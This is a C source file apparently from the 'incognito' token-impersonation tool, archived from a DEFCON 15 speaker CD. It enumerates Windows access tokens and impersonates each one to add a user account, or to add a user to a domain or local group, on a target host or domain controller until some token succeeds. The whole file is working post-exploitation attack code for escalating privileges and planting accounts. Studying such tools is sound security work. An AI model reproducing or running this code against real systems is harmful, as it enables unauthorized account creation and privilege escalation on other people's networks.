home *** CD-ROM | disk | FTP | other *** search
/ DEFCON 15 / DefCon15.bin / Speakers / Jennings / Extras / incognito / user_management.c < prev    next >
C/C++ Source or Header  |  2007-03-16  |  8KB  |  246 lines

  1. #define _CRT_SECURE_NO_DEPRECATE 1
  2. #include <stdio.h>
  3. #include <assert.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <aclapi.h>
  7. #include <accctrl.h>
  8. #include <psapi.h>
  9. #include <tlhelp32.h>
  10. #include <lm.h>
  11. #include <wchar.h>
  12. #include "list_tokens.h"
  13. #include "handle_arguments.h"
  14. #include "token_info.h"
  15.  
  16. void add_user(char *dc_netbios_name, char *username, char *password)
  17. {
  18.     USER_INFO_1 ui;
  19.        DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
  20.        NET_API_STATUS nStatus;
  21.     SavedToken *token_list = NULL;
  22.     wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
  23.  
  24.     mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
  25.     mbstowcs(username_u, username, strlen(username)+1);
  26.     mbstowcs(password_u, password, strlen(password)+1);
  27.  
  28.        ui.usri1_name = username_u;
  29.        ui.usri1_password = password_u;
  30.        ui.usri1_priv = USER_PRIV_USER;
  31.        ui.usri1_home_dir = NULL;
  32.        ui.usri1_comment = NULL;
  33.        ui.usri1_flags = UF_SCRIPT;
  34.        ui.usri1_script_path = NULL;
  35.  
  36.     // Enumerate tokens
  37.     output_string("[*] Enumerating tokens\n");
  38.  
  39.     token_list = get_token_list(&num_tokens);
  40.     if (!token_list)
  41.     {
  42.         output_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
  43.         return;
  44.     }
  45.  
  46.     output_string("[*] Attempting to add user %s to host %s\n", username, dc_netbios_name);
  47.  
  48.     // Attempt to add user with every token
  49.     for (i=0;i<num_tokens;i++)
  50.     if (token_list[i].token)
  51.     {
  52.         // causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
  53.         if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
  54.             continue;
  55.  
  56.         ImpersonateLoggedOnUser(token_list[i].token);
  57.         nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError);
  58.         RevertToSelf();
  59.  
  60.            switch (nStatus)
  61.            {
  62.             case ERROR_ACCESS_DENIED:
  63.             case ERROR_LOGON_FAILURE: // unknown username or bad password
  64.             case ERROR_INVALID_PASSWORD:
  65.                 break;
  66.             case NERR_Success:
  67.                 output_string("[+] Successfully added user\n");
  68.                 goto cleanup;
  69.             case NERR_InvalidComputer:
  70.                 output_string("[-] Computer name invalid\n");
  71.                 goto cleanup;
  72.             case NERR_NotPrimary:
  73.                 output_string("[-] Operation only allowed on primary domain controller\n");
  74.                 goto cleanup;
  75.             case NERR_GroupExists:
  76.                 output_string("[-] Group already exists\n");
  77.                 goto cleanup;
  78.             case NERR_UserExists:
  79.                 output_string("[-] User already exists\n");
  80.                 goto cleanup;
  81.             case NERR_PasswordTooShort:
  82.                 output_string("[-] Password does not meet complexity requirements\n");
  83.                 goto cleanup;
  84.             default:
  85.                 output_string("Unknown error: %d\n", nStatus);
  86.                 goto cleanup;
  87.         }
  88.     }
  89.  
  90.     output_string("[-] Access denied with all tokens\n");
  91.  
  92. cleanup:
  93.     for (i=0;i<num_tokens;i++)
  94.         CloseHandle(token_list[i].token);
  95.     free(token_list);
  96. }
  97.  
  98. void add_user_to_group(char *dc_netbios_name, char *groupname, char *username)
  99. {
  100.        DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
  101.        NET_API_STATUS nStatus;
  102.     SavedToken *token_list = NULL;
  103.     wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
  104.     
  105.     mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
  106.     mbstowcs(username_u, username, strlen(username)+1);
  107.     mbstowcs(groupname_u, groupname, strlen(groupname)+1);
  108.  
  109.     // Enumerate tokens
  110.     output_string("[*] Enumerating tokens\n");
  111.  
  112.     token_list = get_token_list(&num_tokens);
  113.     if (!token_list)
  114.     {
  115.         output_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
  116.         return;
  117.     }
  118.  
  119.     output_string("[*] Attempting to add user %s to group %s on domain controller %s\n", username, groupname, dc_netbios_name);
  120.  
  121.     // Attempt to add user with every token
  122.     for (i=0;i<num_tokens;i++)
  123.     if (token_list[i].token)
  124.     {
  125.         // causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
  126.         if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
  127.             continue;
  128.  
  129.         ImpersonateLoggedOnUser(token_list[i].token);
  130.         nStatus = NetGroupAddUser(dc_netbios_name_u, groupname_u, username_u);
  131.         RevertToSelf();
  132.  
  133.            switch (nStatus)
  134.            {
  135.             case ERROR_ACCESS_DENIED:
  136.             case ERROR_LOGON_FAILURE: // unknown username or bad password
  137.             case ERROR_INVALID_PASSWORD:
  138.                 break;
  139.             case NERR_Success:
  140.                 output_string("[+] Successfully added user to group\n");
  141.                 goto cleanup;
  142.             case NERR_InvalidComputer:
  143.                 output_string("[-] Computer name invalid\n");
  144.                 goto cleanup;
  145.             case NERR_NotPrimary:
  146.                 output_string("[-] Operation only allowed on primary domain controller\n");
  147.                 goto cleanup;
  148.             case NERR_SpeGroupOp:
  149.                 output_string("[-] Special group\n");
  150.                 goto cleanup;
  151.             case NERR_UserNotFound:
  152.                 output_string("[-] User not found\n");
  153.                 goto cleanup;
  154.             case NERR_GroupNotFound:
  155.                 output_string("[-] Group not found\n");
  156.                 goto cleanup;
  157.             case 2236: // Can't find error code in documentation...found by testing
  158.                 output_string("[-] User already in group\n");
  159.                 goto cleanup;
  160.             default:
  161.                 output_string("Unknown error: %d\n", nStatus);
  162.                 goto cleanup;
  163.         }
  164.     }
  165.  
  166.     output_string("[-] Access denied with all tokens\n");
  167.  
  168. cleanup:
  169.     for (i=0;i<num_tokens;i++)
  170.         CloseHandle(token_list[i].token);
  171.     free(token_list);
  172. }
  173.  
  174. void add_user_to_localgroup(char *dc_netbios_name, char *groupname, char *username)
  175. {
  176.        DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
  177.        NET_API_STATUS nStatus;
  178.     LOCALGROUP_MEMBERS_INFO_3 localgroup_member;
  179.     SavedToken *token_list = NULL;
  180.     wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
  181.     
  182.     mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
  183.     mbstowcs(username_u, username, strlen(username)+1);
  184.     mbstowcs(groupname_u, groupname, strlen(groupname)+1);
  185.  
  186.     localgroup_member.lgrmi3_domainandname = username_u;
  187.  
  188.     // Enumerate tokens
  189.     output_string("[*] Enumerating tokens\n");
  190.  
  191.     token_list = get_token_list(&num_tokens);
  192.     if (!token_list)
  193.     {
  194.         output_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
  195.         return;
  196.     }
  197.  
  198.     output_string("[*] Attempting to add user %s to local group %s on host %s\n", username, groupname, dc_netbios_name);
  199.  
  200.     // Attempt to add user with every token
  201.     for (i=0;i<num_tokens;i++)
  202.     if (token_list[i].token)
  203.     {
  204.         // causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
  205.         if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
  206.             continue;
  207.  
  208.         ImpersonateLoggedOnUser(token_list[i].token);
  209.         nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1);
  210.         RevertToSelf();
  211.  
  212.            switch (nStatus)
  213.            {
  214.             case ERROR_ACCESS_DENIED:
  215.             case ERROR_LOGON_FAILURE: // unknown username or bad password
  216.             case ERROR_INVALID_PASSWORD:
  217.                 break;
  218.             case NERR_Success:
  219.                 output_string("[+] Successfully added user to local group\n");
  220.                 goto cleanup;
  221.             case NERR_InvalidComputer:
  222.                 output_string("[-] Computer name invalid\n");
  223.                 goto cleanup;
  224.             case ERROR_NO_SUCH_MEMBER:
  225.                 output_string("[-] User not found\n");
  226.                 goto cleanup;
  227.             case NERR_GroupNotFound:
  228.             case 1376: // found by testing (also group not found)
  229.                 output_string("[-] Local group not found\n");
  230.                 goto cleanup;
  231.             case ERROR_MEMBER_IN_ALIAS:
  232.                 output_string("[-] User already in group\n");
  233.                 goto cleanup;
  234.             default:
  235.                 output_string("Unknown error: %d\n", nStatus);
  236.                 goto cleanup;
  237.         }
  238.     }
  239.  
  240.     output_string("[-] Access denied with all tokens\n");
  241.  
  242. cleanup:
  243.     for (i=0;i<num_tokens;i++)
  244.         CloseHandle(token_list[i].token);
  245.     free(token_list);
  246. }